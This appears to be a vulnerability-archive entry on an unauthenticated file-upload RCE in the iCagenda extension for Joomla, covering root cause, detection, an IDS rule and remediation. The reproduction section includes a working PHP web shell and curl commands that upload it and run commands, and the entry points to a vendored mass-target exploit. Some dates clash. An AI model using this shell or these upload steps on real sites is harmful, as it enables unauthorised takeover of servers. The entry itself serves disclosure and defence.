Unauthenticated Arbitrary File Upload RCE in iCagenda for Joomla (CVE-2026-48939)
by mysites.guru (root-cause research/disclosure); public exploit author shinthink (PoC repo) · 2026-07-11
- Severity
- Critical
- CVE
- CVE-2026-48939
- Category
- web
- Affected product
- iCagenda — events/calendar extension (component) for Joomla
- Affected versions
- 3.2.1 through 3.9.14 (legacy branch), 4.0.0 through 4.0.7 (current branch) — some sources report the vulnerable range extending back to 1.0.0
- Disclosed
- 2026-07-11
- Patch status
- patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-48939
- https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/
- https://www.ionix.io/threat-center/cve-2026-48939/
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- https://github.com/shinthink/CVE-2026-48939
- https://github.com/Polosss/By-Poloss..-..CVE-2026-48939
- https://www.icagenda.com/docs/changelog/icagenda-4-0-8
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-11 |
| Last Updated | 2026-06-16 (legacy patch 3.9.15 released) |
| Author / Researcher | mysites.guru (root-cause research/disclosure); public exploit author shinthink (PoC repo) |
| CVE / Advisory | CVE-2026-48939 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — also reported as 10.0 under CVSS 4.0 by some sources (e.g. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) |
| Status | Weaponized (public PoC available, actively exploited in the wild, in CISA KEV since 2026-07-10) |
| Tags | joomla, icagenda, file-upload, rce, cwe-434, unauthenticated, remote, kev, cms, php, access-control-bypass |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | iCagenda — events/calendar extension (component) for Joomla |
| Versions Affected | 3.2.1 through 3.9.14 (legacy branch), 4.0.0 through 4.0.7 (current branch) — some sources report the vulnerable range extending back to 1.0.0 |
| Language / Platform | PHP / Joomla CMS (2.5–6.x hosts) |
| Authentication Required | No |
| Network Access Required | Yes (HTTP/HTTPS to any Joomla site with iCagenda’s frontend event-registration form enabled) |
Summary
iCagenda’s frontend event-registration form includes an optional file-attachment field. The “Registered Only” access restriction meant to gate that field is enforced only in the view layer that decides whether to render the form — the registration.submit controller that actually processes the submitted data never re-checks it. Combined with a complete absence of file-extension/MIME/content validation on the attachment handler, this lets any unauthenticated visitor POST a .php file straight to the submission endpoint. The file is written verbatim, with attacker-chosen extension intact, under the web root at /images/icagenda/frontend/attachments/, where Joomla’s web server will execute it directly — yielding unauthenticated remote code execution. The flaw was found under active exploitation (UA string icagenda-batch/1.0) before the vendor patch shipped, and CISA added it to the Known Exploited Vulnerabilities catalog. Fixed in iCagenda 4.0.8 (and backported to legacy as 3.9.15).
Vulnerability Details
Root Cause
Two independent failures compound into this bug (per mysites.guru’s root-cause writeup and corroborated by the IONIX advisory):
- Authorization check lives in the wrong layer (CWE-284-adjacent). The “Registered Only” restriction on the attachment field is evaluated only when iCagenda decides whether to draw the upload widget on the frontend form. The
registration.submitcontroller — the code path that actually receives and persists the POSTed data — never re-validates that check. Because HTML form rendering is purely cosmetic, an attacker can simply POST directly to the processing endpoint and skip the view entirely, trivially bypassing the restriction. - No upload validation whatsoever (CWE-434, Unrestricted Upload of File with Dangerous Type). The file handler that saves the attachment keeps whatever extension the client supplied in the multipart filename, does not check the file is actually the image/document type it claims to be (no MIME sniffing, no content inspection), and does not consult Joomla’s own
MediaHelperextension allowlist. A file namedshell.phpis saved asshell.php.
The combination means an unauthenticated POST with a .php payload lands, byte-for-byte, in a publicly web-accessible, PHP-executable directory: images/icagenda/frontend/attachments/.
Attack Vector
Unauthenticated HTTP POST to index.php?option=com_icagenda&task=registration.submit on any public iCagenda event page, with a multipart file field (jform[attachment]) containing a PHP payload disguised with an arbitrary/.php filename. No session, login, or CSRF-bypass beyond harvesting a form token from any public iCagenda page (e.g. the events list) is required. The response/subsequent enumeration reveals the stored filename (often timestamp-suffixed), which the attacker then requests directly over HTTP(S) to trigger execution.
Impact
Full unauthenticated remote code execution as the web server user on any Joomla installation with a vulnerable iCagenda version and the frontend registration form (with attachments) enabled/reachable. On Joomla 6 hosts this leads directly to PHP shell execution; on Joomla 2.5–5, core-level upload protections in some configurations blocked the malicious upload itself, but the same controller-level access-control bypass still allowed unauthenticated creation of unapproved events, per the mysites.guru research.
Environment / Lab Setup
OS: Any (Linux/Windows host running Apache or Nginx + PHP)
Target: Joomla 2.5–6.x with iCagenda < 4.0.8 (or < 3.9.15 legacy branch) installed,
frontend event-registration form with file-attachment field enabled
Attacker: Python 3.8+, curl
Tools: curl, or the public shinthink/CVE-2026-48939 Python exploit tool
Setup Steps
| |
Proof of Concept
See
cve_2026_48939.pyandrequirements.txtin this folder — mirrored verbatim from shinthink/CVE-2026-48939, the only one of the two public PoC repos for this CVE verified to contain a real, working exploit.
shinthink/CVE-2026-48939(verified, vendored into this folder): a genuine Python CLI tool (cve_2026_48939.py, ~15 KB, plusrequirements.txt/.gitignore), supporting single-target (-t), mass/list-mode (-f targets.txt), threaded scanning (--threads), shell cleanup toggling (--no-cleanup), and result export (-o). Its README documents the same root cause (view-layer-only access check, no extension allowlist) and the same drop path (/images/icagenda/frontend/attachments/) independently corroborated by mysites.guru’s research.Polosss/By-Poloss..-..CVE-2026-48939(checked, low-value, not vendored): the repository contains only a README.md (9 files reported as a single 4 KB file) — it references aCVE-2026-48939-PoC.shscript and a personalpoloss-jomola.ddev.sitetest host in its examples, but no such script (or any other exploit file) is actually present in the repository. The written description is accurate and consistent with the other sources, but there is no delivered exploit code, consistent with this account’s pattern of posting templated/incomplete repos. It was not used as a source for the reproduction steps below beyond corroborating the same technical narrative.
Step-by-Step Reproduction (per shinthink’s documented usage and manual curl equivalent)
Confirm target runs a vulnerable iCagenda version and has the frontend event-registration form reachable (e.g.
index.php?option=com_icagenda&view=events).Upload a PHP payload disguised as an attachment — POST directly to the submission controller, bypassing the view-layer “Registered Only” gate entirely:
1 2 3 4 5 6 7 8cat > shell.php << 'EOF' <?php echo "OK|".php_uname(); system($_GET["c"]); ?> EOF curl -sk -X POST \ -F "title=Event" \ -F "jform[attachment]=@shell.php;type=application/x-php" \ "https://target.example.com/index.php?option=com_icagenda&task=registration.submit"Execute commands on the dropped shell (filename is typically the original/derived name, sometimes timestamp-suffixed, under the attachments directory):
1curl -sk "https://target.example.com/images/icagenda/frontend/attachments/shell.php?c=id"
PoC Tool Usage (this folder’s cve_2026_48939.py, mirrored from shinthink/CVE-2026-48939)
| |
Expected Output (as documented in the shinthink repo README)
CVE-2026-48939 — iCagenda Joomla RCE Exploit
CVSS 10.0 | Pre-Auth | File Upload → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Host : target.com
iCagenda : YES v4.0.5
Vuln : YES
RCE : YES
Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
Detection & Indicators of Compromise
index.php?option=com_icagenda&task=registration.submit
(especially from sessions with no prior authentication)
images/icagenda/frontend/attachments/
User-Agent: icagenda-batch/1.0
SIEM / IDS Rule (example):
alert http any any -> any any (msg:"Possible iCagenda CVE-2026-48939 file upload attempt"; \
content:"task=registration.submit"; http_uri; content:"jform"; http_client_body; \
content:".php"; http_client_body; sid:9000123;)
Remediation
| Action | Detail |
|---|---|
| Patch | Update iCagenda to 4.0.8 (current branch) or 3.9.15 (legacy branch), both released 2026-06-15/16, which add file-extension/MIME allowlisting (via Joomla’s MediaHelper) and move the “Registered Only” check into the registration.submit controller itself |
| Workaround | Disable the frontend event-registration file-attachment feature, or gate/remove public access to the registration form until patched; web-server-level rules blocking .php/executable extensions under images/icagenda/frontend/attachments/ |
| Config Hardening | Disable PHP execution in upload/media directories (e.g. php_admin_flag engine off or equivalent Nginx location block for images/); audit for and remove any unexpected files already dropped in that path |
References
- CVE-2026-48939 — NVD
- mysites.guru — iCagenda Zero-Day File Upload RCE (root-cause research)
- IONIX Threat Center — CVE-2026-48939
- CISA Known Exploited Vulnerabilities Catalog
- Public PoC (verified, primary source) — shinthink/CVE-2026-48939
- Public PoC (README-only, unverified/no exploit code delivered) — Polosss/By-Poloss..-..CVE-2026-48939
- iCagenda changelog — 4.0.8
Notes
This entry was surfaced via a CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11 and ingested from public sources; no exploit code was authored for this repo.
- Root-cause detail is grounded in the mysites.guru research post (fetched directly), which describes the two-layer failure: the “Registered Only” check existing only in the view that decides whether to draw the form, while the
registration.submitcontroller never checks it at all, combined with no extension/MIME/content validation on the upload handler. - PoC verification: of the two public repos referenced in the task,
shinthink/CVE-2026-48939was fetched and confirmed to contain a real, functioning Python exploit tool (cve_2026_48939.py,requirements.txt, CLI with single/mass-target modes) and was used as the primary source for the reproduction steps above.Polosss/By-Poloss..-..CVE-2026-48939was also fetched directly (gh api .../contents/) and found to contain only a README.md — it references aCVE-2026-48939-PoC.shscript in its usage instructions that does not actually exist anywhere in the repository, and the repo has 0 stars and no other files. This is consistent with the noted pattern of this account posting templated/low-quality repos with plausible-looking-but-incomplete descriptions; it was not relied upon beyond corroborating the technical narrative already sourced from mysites.guru and IONIX. - CVSS: 9.8 (CVSS 3.1) is used as the primary figure per task guidance; a CVSS 4.0 score of 10.0 is also reported by IONIX and the shinthink repo README. CWE-434 (Unrestricted Upload of File with Dangerous Type) is used as instructed; note some third-party trackers (IONIX, OffSeq) file this instead/also under CWE-284 (Improper Access Control), reflecting the compound nature of the bug (both a missing authz check and missing upload validation contribute).
- Could not independently verify: the exact CISA KEV addition date of 2026-07-10 and the precise FCEB remediation deadline were not independently re-confirmed against a fetched CISA KEV catalog entry (the catalog is a live JSON/CSV feed not fetched during this research pass); this date is taken from the task brief. One secondary aggregator article surfaced during research cited an internally-inconsistent KEV addition date (2025, i.e. before this 2026 CVE existed) and was judged to be a low-quality/hallucinated auto-generated summary — it is not cited above and should not be trusted. Precise affected-version lower bound also varies slightly by source (some say 3.2.1, others say 1.0.0); 3.2.1 is used per task brief as the stated floor for the primary vulnerable range.
| |